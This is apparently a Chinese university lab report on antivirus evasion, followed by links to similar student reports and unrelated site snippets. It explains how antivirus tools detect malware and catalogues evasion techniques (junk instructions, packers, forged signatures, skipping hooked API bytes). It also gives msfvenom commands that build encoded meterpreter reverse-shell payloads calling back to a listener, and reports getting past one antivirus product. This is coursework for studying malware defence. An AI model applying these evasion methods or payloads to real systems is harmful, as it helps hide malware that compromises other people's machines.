20155325 Exp3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
1.1 基于特征码的检测
1.1.1 特征库举例-Snort
1.2 启发式恶意软件检测
1.3 基于行为的恶意软件检测
免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
免杀的基本方法有哪些?
手工修改;
非源码
- 数据
如果特征码定位到数据(通过IDA/OD等确认),其实不好修改,稍微不慎就会导致程序不能运行,或者影响程序运行流程或结果。
字符串,如果不影响程序逻辑,可以替换大小写;如果无关紧要的数据,随意替换;等等,看情况而定。
整数,如果不影响结果,替换值,清零等等操作。
地址,基本应该不能修改,具体看情况。
PE头数据,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。
最后,终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,其实就如同修改源码一样修改,肯定没有修改源码那么容易(见后)。
反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。
- 代码
如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。
等价替换汇编代码,如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。
交换代码顺序,在不影响逻辑的情况下。
代码块移位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址。
源码
在有源码的情况下,修改的方式就更灵活了,更简单了。
如果特征码是数据,那么修改数据位置,访问数据的代码位置等(思想类比非源码方式)。
加花指令,这是最有效也是最常用的方式,要点在于如何加话指令。
加数据计算代码,加减乘除各类组合。
加字符串操作代码,增加、删除、查找、替换等。
加多层跳转,跳转间加无效指令(不会执行的)。
加貌似有效的API调用,如LoadLibrary+GetProcAddr+API等。
等等。
工具免杀;
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。
资源操作
- 加资源
使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。
- 替换资源
使用ResHacker替换无用的资源(Version等)。
- 加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
几种方式可以交替重复多次进行组合使用。
PE操作
- PE优化
使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。
- 增加节
增加节数据,随意加入无效数据。
加壳
可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。
通过加密器/压缩器将原始代码进行加密压缩,让其特征码变化隐藏,然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,将加密压缩内容解密解压,然后继续运行原始代码。
- 加冷门壳
壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。
所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。
- 加壳改壳
将常用壳进行修改,让壳特征变化,也可以是杀软失效。
比如修改入口,区段信息修改,入口代码移位。
可以类比为免杀壳,上面介绍的方法都可以使用。
动态行为免杀
- 替换api
使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。
- 未导出api
寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。
寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。
- 重写api
完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。
- api+5
ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。
那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。
__API:
1 push ebp;
2 mov ebp, esp;
3 mov edi, edi;
4 ...
调用时,不适用1地址,而使用4地址,然后自己函数内部还原跳过几字节的调用。
__API_MY:
push ebp;
mov ebp, esp;
mov edi, edi;
call 4
5. 底层api
该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。
或者通过DeviceIoControl调用驱动功能来完成API功能。
模拟系统调用。
- 合理替换调用顺序
有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。
比如,先创建服务,再将服务对应文件拷贝过去。
- 绕过调用源
通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。
参考: 免杀技术有一套(免杀方法大集结)
实践总结与体会
越学这门课越觉得心惊
离实战还缺些什么技术或步骤?
1.如何将程序悄无声息地植入对方电脑
2.如何使对方电脑的程序运行,并成功与控制端连接
3.随着时间的推移,杀软数据库会更新,被查杀的可能性增加
实践过程记录
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
把上一次实验用msfvenom生成的5325bd.exe放入http://www.virscan.org/进行检测
按照教程用msfvenom多次编译
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
其实检测结果并没有 太大的变化
用msfvenom生成.jar和.php
用msfvenom生成shellcode,做成20155325.c
用C语言重写meterperter
把成果进行检测
把20155325.c编译成可执行文件(后改名为p5325..exe)
进行检测
通过组合应用各种技术实现恶意代码免杀
max5325.c
加壳并检测
以上的程序中:p5325.exe p5325_upx.exe在win10的360杀毒下实现免杀
但是很恶心心的事情就是
两个都回连失败
实验中遇到的问题及思考
问题一:想要上传到网站上检测,但是后门软件一传到主机就被杀软干掉了
解决:当然是选择信任它
问题二:在进行检测时
解决:去掉2015就好……可能年份会让这么一个网站感到时光流逝的沧桑,所以拒绝有关年纪的话题。
参考链接
- 免杀技术有一套(免杀方法大集结)
- NetSec / ExpGuides / 0x23_MAL_免杀原理与实践.md
- 20155312 张竞予 Exp1 PC平台逆向破解(5)M
- 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
- 20145215《网络对抗》Exp3 免杀原理与实践
- 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践
20155325 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- python之lambda函数/表达式
lambda函数也叫匿名函数,允许快速定义单行函数.通常是在需要一个函数,但是又不想费神去命名一个函数的场合下使用,也就是指匿名函数. 格式 lambda argument_list: express ...
- linux下安装jdk安装及环境变量配置
1.默认是在windows下载,linux下安装 2.在jdk官网下载相应版本的jdk,这次下载为 jdk-8u161-linux-x64.tar.gz 3.将下载好的文件上传到指定目录,我这次把它放 ...
- 在 Azure 中将基础结构自动化工具与虚拟机配合使用
若要以一致的方式大规模创建和管理 Azure 虚拟机 (VM),通常需要某种形式的自动化. 可以通过许多工具和解决方案来自动完成整个 Azure 基础结构部署和管理生命周期. 本文介绍了一些可以在 A ...
- Oracle EBS INV 更新状态
使用API改变现有物料状态,改成如下:On-Hand, Subinventory, Locator, Lot & Serial.参数使用如下:H, O, S, Z, L.对应如下: 'H' - ...
- [Windows] [Firewall] 增加进入规则
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP l ...
- 176条DevOps人员常用的linux命令速查表
线上查询及帮助命令 文件和目录操作命令 查看文件及内容处理命令 文件压缩及解压缩命令 信息显示命令 搜索文件命令 用户管理命令 基础网络操作命令 深入网络操作命令 有关磁盘与文件系统的命令 系统权 ...
- 转:sql语句优化
性能不理想的系统中除了一部分是因为应用程序的负载确实超过了服务器的实际处理能力外,更多的是因为系统存在大量的SQL语句需要优化. 为了获得稳定的执行性能,SQL语句越简单越好.对复杂的SQL语句,要设 ...
- wc 命令使用说明
wc 命令 使用说明 wc 命令还是很是简单的,通过 man 命令,可以见到可以选择的选项: wc option file 并且 wc 命令支持 管道操作 其中较为常用的命令选项 -c 字符的个数 - ...
- 调用webservice 的时候没法输入参数
在web.config的<system.web></system.web>中间加入如下配置节内容<webServices> <protocols> &l ...
- ZooKeeper 集群的安装部署
0. 说明 ZooKeeper 安装在 s102.s103.s104上,这三个节点同时是 Hadoop 的 DataNode 1. ZooKeeper 本地模式安装配置 1.0 在 s101 上进行安 ...